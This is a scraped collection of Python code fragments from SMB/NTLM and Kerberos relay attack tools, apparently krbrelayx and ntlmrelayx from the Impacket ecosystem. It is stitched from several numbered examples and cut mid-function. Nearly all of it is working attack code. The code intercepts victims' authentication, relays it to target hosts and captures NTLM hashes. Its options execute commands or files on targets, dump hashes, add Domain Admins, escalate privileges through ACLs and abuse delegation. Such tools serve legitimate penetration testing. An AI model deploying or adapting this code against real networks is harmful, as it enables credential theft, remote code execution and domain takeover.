        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS

    # This is SMB2
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
            # negTokenInit packet
            try:
                blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
                token = blob['innerContextToken']['negTokenInit']['mechToken']

                if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0:
                    # Is this GSSAPI NTLM or something else we don't support?
                    mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0]
                    if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \
                                     TypesMech['MS KRB5 - Microsoft Kerberos 5']:
                        # Nope, do we know it?
                        if MechTypes.has_key(str(mechType)):
                            mechStr = MechTypes[str(mechType)]
                        else:
                            mechStr = mechType
                        smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
                        # We don't know the token, we answer back again saying
                        # we just support Kerberos.
                        respToken = NegotiationToken()
                        respToken['negTokenResp']['negResult'] = 'request_mic'
                        respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5']
                        respTokenData = encoder.encode(respToken)
                        respSMBCommand['SecurityBufferOffset'] = 0x48
                        respSMBCommand['SecurityBufferLength'] = len(respTokenData)
                        respSMBCommand['Buffer'] = respTokenData

                        return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
                    else:
                        # This is Kerberos, we can do something with this
                        try:
                            # If you're looking for the magic, it's in lib/utils/kerberos.py
                            authdata = get_kerberos_loot(securityBlob, self.config)

                            # If we are here, it was succesful

                            # Are we in attack mode? If so, launch attack against all targets
                            if self.config.mode == 'ATTACK':
                                self.do_attack(authdata)

                            # This ignores all signing stuff
                            # causes connection resets
                            # Todo: reply properly!

                            respToken = NegotiationToken()
                            # accept-completed
                            respToken['negTokenResp']['negResult'] = 'accept_completed'

                            respSMBCommand['SecurityBufferOffset'] = 0x48
                            respSMBCommand['SecurityBufferLength'] = len(respToken)
                            respSMBCommand['Buffer'] = encoder.encode(respToken)

                            smbServer.setConnectionData(connId, connData)

                            return [respSMBCommand], None, STATUS_SUCCESS

                        # Somehow the function above catches all exceptions and hides them
                        # which is pretty annoying
                        except Exception, e:
                            import traceback
                            traceback.print_exc()
                            raise

                        pass
            except:
                import traceback
                traceback.print_exc()
        else:
            # No GSSAPI stuff, we can't do anything with this
            smbServer.log("No negTokenInit sent by client", logging.CRITICAL)
            raise Exception('No negTokenInit sent by client')

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
    ################################################################################

    ### SMBv1 Part #################################################################
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)

        if smbData.has_key(self.target):
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception, e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
Ejemplo n.º 16
0
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)
        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)

    if options.codec is not None:
        codec = options.codec
    else:
        codec = sys.getdefaultencoding()

    if options.target is not None:
        logging.info("Running in relay mode to single host")
        mode = 'RELAY'
        targetSystem = TargetsProcessor(singletarget=options.target)
    else:
        if options.tf is not None:
            #Targetfile specified
            logging.info("Running in relay mode to hosts in targetfile")
            targetSystem = TargetsProcessor(targetlistfile=options.tf)
            mode = 'RELAY'
        else:
            logging.info("Running in reflection mode")
            targetSystem = None
            mode = 'REFLECTION'

    if options.r is not None:
        logging.info("Running HTTP server in redirect mode")

    if targetSystem is not None and options.w:
Ejemplo n.º 17
0
def main():
    def start_servers(options, threads):
        for server in RELAY_SERVERS:
            #Set up config
            c = KrbRelayxConfig()
            c.setProtocolClients(PROTOCOL_CLIENTS)
            c.setTargets(targetSystem)
            c.setExeFile(options.e)
            c.setCommand(options.c)
            c.setEnumLocalAdmins(options.enum_local_admins)
            c.setEncoding(codec)
            c.setMode(mode)
            c.setAttacks(PROTOCOL_ATTACKS)
            c.setLootdir(options.lootdir)
            c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl,
                             options.no_validate_privs, options.escalate_user,
                             options.add_computer, options.delegate_access)
            c.setIPv6(options.ipv6)
            c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
            c.setSMB2Support(not options.no_smb2support)
            c.setInterfaceIp(options.interface_ip)
            if options.krbhexpass and not options.krbpass:
                c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
                                 binascii.unhexlify(options.krbhexpass),
                                 options.krbsalt, True)
            else:
                c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
                                 options.krbpass, options.krbsalt, False)
            c.setKrbOptions(options.format)

            #If the redirect option is set, configure the HTTP server to redirect targets to SMB
            if server is HTTPKrbRelayServer and options.r is not None:
                c.setMode('REDIRECT')
                c.setRedirectHost(options.r)

            s = server(c)
            s.start()
            threads.add(s)
        return c

    # Init the example's logger theme
    logger.init()

    #Parse arguments
    parser = argparse.ArgumentParser(
        add_help=False,
        description=
        "Kerberos \"relay\" tool. Abuses accounts with unconstrained "
        "delegation to pwn things.")
    parser._optionals.title = "Main options"

    #Main arguments
    parser.add_argument("-h",
                        "--help",
                        action="help",
                        help='show this help message and exit')
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')
    parser.add_argument(
        '-t',
        "--target",
        action='store',
        metavar='TARGET',
        help='Target to attack, '
        'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.'
    )
    parser.add_argument('-tf',
                        action='store',
                        metavar='TARGETSFILE',
                        help='File that contains targets by hostname or '
                        'full URL, one per line')
    parser.add_argument(
        '-w',
        action='store_true',
        help='Watch the target file for changes and update target list '
        'automatically (only valid with -tf)')

    # Interface address specification
    parser.add_argument('-ip',
                        '--interface-ip',
                        action='store',
                        metavar='INTERFACE_IP',
                        help='IP address of interface to '
                        'bind SMB and HTTP servers',
                        default='')

    parser.add_argument(
        '-r',
        action='store',
        metavar='SMBSERVER',
        help='Redirect HTTP requests to a file:// path on SMBSERVER')
    parser.add_argument(
        '-l',
        '--lootdir',
        action='store',
        type=str,
        required=False,
        metavar='LOOTDIR',
        default='.',
        help='Loot '
        'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).'
    )
    parser.add_argument(
        '-f',
        '--format',
        default='ccache',
        choices=['ccache', 'kirbi'],
        action='store',
        help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
        ' (Mimikatz format) default: ccache')
    parser.add_argument(
        '-codec',
        action='store',
        help='Sets encoding used (codec) from the target\'s output (default '
        '"%s"). If errors are detected, run chcp.com at the target, '
        'map the result with '
        'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
        'again with -codec and the corresponding codec ' %
        sys.getdefaultencoding())
    parser.add_argument('-no-smb2support',
                        action="store_false",
                        default=False,
                        help='Disable SMB2 Support')

    parser.add_argument(
        '-wh',
        '--wpad-host',
        action='store',
        help='Enable serving a WPAD file for Proxy Authentication attack, '
        'setting the proxy host to the one supplied.')
    parser.add_argument(
        '-wa',
        '--wpad-auth-num',
        action='store',
        help=
        'Prompt for authentication N times for clients without MS16-077 installed '
        'before serving a WPAD file.')
    parser.add_argument('-6',
                        '--ipv6',
                        action='store_true',
                        help='Listen on both IPv6 and IPv4')

    # Authentication arguments
    group = parser.add_argument_group(
        'Kerberos Keys (of your account with unconstrained delegation)')
    group.add_argument('-p',
                       '--krbpass',
                       action="store",
                       metavar="PASSWORD",
                       help='Account password')
    group.add_argument('-hp',
                       '--krbhexpass',
                       action="store",
                       metavar="HEXPASSWORD",
                       help='Hex-encoded password')
    group.add_argument(
        '-s',
        '--krbsalt',
        action="store",
        metavar="USERNAME",
        help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
        'Only required if specifying password instead of keys.')
    group.add_argument('-hashes',
                       action="store",
                       metavar="LMHASH:NTHASH",
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-aesKey',
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')
    group.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help='IP Address of the domain controller. If '
        'ommited it use the domain part (FQDN) specified in the target parameter'
    )

    #SMB arguments
    smboptions = parser.add_argument_group("SMB attack options")

    smboptions.add_argument(
        '-e',
        action='store',
        required=False,
        metavar='FILE',
        help='File to execute on the target system. '
        'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)'
    )
    smboptions.add_argument(
        '-c',
        action='store',
        type=str,
        required=False,
        metavar='COMMAND',
        help='Command to execute on '
        'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
        'directory).')
    smboptions.add_argument(
        '--enum-local-admins',
        action='store_true',
        required=False,
        help=
        'If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)'
    )

    #LDAP options
    ldapoptions = parser.add_argument_group("LDAP attack options")
    ldapoptions.add_argument('--no-dump',
                             action='store_false',
                             required=False,
                             help='Do not attempt to dump LDAP information')
    ldapoptions.add_argument('--no-da',
                             action='store_false',
                             required=False,
                             help='Do not attempt to add a Domain Admin')
    ldapoptions.add_argument('--no-acl',
                             action='store_false',
                             required=False,
                             help='Disable ACL attacks')
    ldapoptions.add_argument(
        '--no-validate-privs',
        action='store_false',
        required=False,
        help=
        'Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks'
    )
    ldapoptions.add_argument(
        '--escalate-user',
        action='store',
        required=False,
        help='Escalate privileges of this user instead of creating a new one')
    ldapoptions.add_argument('--add-computer',
                             action='store_true',
                             required=False,
                             help='Attempt to add a new computer account')
    ldapoptions.add_argument(
        '--delegate-access',
        action='store_true',
        required=False,
        help=
        'Delegate access on relayed computer account to the specified account')

    try:
        options = parser.parse_args()
    except Exception as e:
        logging.error(str(e))
        sys.exit(1)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)
        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)

    # Let's register the protocol clients we have
    # ToDo: Do this better somehow
    from lib.clients import PROTOCOL_CLIENTS

    if options.codec is not None:
        codec = options.codec
    else:
        codec = sys.getdefaultencoding()

    if options.target is not None:
        logging.info("Running in attack mode to single host")
        mode = 'ATTACK'
        targetSystem = TargetsProcessor(singleTarget=options.target,
                                        protocolClients=PROTOCOL_CLIENTS)
    else:
        if options.tf is not None:
            #Targetfile specified
            logging.info("Running in attack mode to hosts in targetfile")
            targetSystem = TargetsProcessor(targetListFile=options.tf,
                                            protocolClients=PROTOCOL_CLIENTS)
            mode = 'ATTACK'
        else:
            logging.info(
                "Running in export mode (all tickets will be saved to disk)")
            targetSystem = None
            mode = 'EXPORT'

    if options.r is not None:
        logging.info("Running HTTP server in redirect mode")

    if targetSystem is not None and options.w:
        watchthread = TargetsFileWatcher(targetSystem)
        watchthread.start()

    threads = set()

    c = start_servers(options, threads)

    print("")
    logging.info("Servers started, waiting for connections")
    try:
        sys.stdin.read()
    except KeyboardInterrupt:
        pass
    else:
        pass

    for s in threads:
        del s

    sys.exit(0)
Ejemplo n.º 18
0
class SMBRelayServer(Thread):
    def __init__(self,config):
        Thread.__init__(self)
        self.daemon = True
        self.server = 0
        #Config object
        self.config = config
        #Current target IP
        self.target = None
        #Targets handler
        self.targetprocessor = self.config.target
        #Username we auth as gets stored here later
        self.authUser = None
        self.proxyTranslator = None

        # Here we write a mini config for the server
        smbConfig = configparser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file','smb.log')
        smbConfig.set('global','credentials_file','')

        if self.config.smb2support is True:
            smbConfig.set("global", "SMB2Support", "True")
        else:
            smbConfig.set("global", "SMB2Support", "False")

        if self.config.outputFile is not None:
            smbConfig.set('global','jtr_dump_path',self.config.outputFile)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        # Change address_family to IPv6 if this is configured
        if self.config.ipv6:
            SMBSERVER.address_family = socket.AF_INET6

        # changed to dereference configuration interfaceIp
        self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig)
        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

        self.server.processConfigFile()

        self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)

        self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
        self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
        #TODO: See if this is the best way to accomplish this

        # changed to dereference configuration interfaceIp
        self.server.addConnection('SMBRelay', config.interfaceIp, 445)

    ### SMBv2 Part #################################################################
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)
        if self.target in smbData:
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            smbData[self.target] = {}
            smbData[self.target]['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData('SMBRelay', smbData)
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split('\x02')
            if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                             TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]


        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS


    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
           # NEGOTIATE packet
           blob =  SPNEGO_NegTokenInit(securityBlob)
           token = blob['MechToken']
           if len(blob['MechTypes'][0]) > 0:
               # Is this GSSAPI NTLM or something else we don't support?
               mechType = blob['MechTypes'][0]
               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                               mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                   # Nope, do we know it?
                   if mechType in MechTypes:
                       mechStr = MechTypes[mechType]
                   else:
                       mechStr = hexlify(mechType)
                   smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
                   # We don't know the token, we answer back again saying
                   # we just support NTLM.
                   # ToDo: Build this into a SPNEGO_NegTokenResp()
                   respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                   respSMBCommand['SecurityBufferOffset'] = 0x48
                   respSMBCommand['SecurityBufferLength'] = len(respToken)
                   respSMBCommand['Buffer'] = respToken

                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B',securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
           # AUTH packet
           blob = SPNEGO_NegTokenResp(securityBlob)
           token = blob['ResponseToken']
        else:
           # No GSSAPI stuff, raw NTLMSSP
           rawNTLM = True
           token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = smbData[self.target]['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

             #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1,0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = smbData[self.target]['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = str(securityBlob)
                    securityBlob = respToken2.getData()

                clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
                                                              connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
                authenticateMessage['user_name']))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True)

                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                    authenticateMessage['user_name'],
                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],
                                                    authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                del (smbData[self.target])

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = '\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
    ################################################################################

    ### SMBv1 Part #################################################################
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)

        if self.target in smbData:
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            smbData[self.target] = {}
            smbData[self.target]['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData('SMBRelay', smbData)
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
        #############################################################

    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']
            else:
               # NEGOTIATE packet
               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
               token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client,token)
                except Exception as e:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
                else:
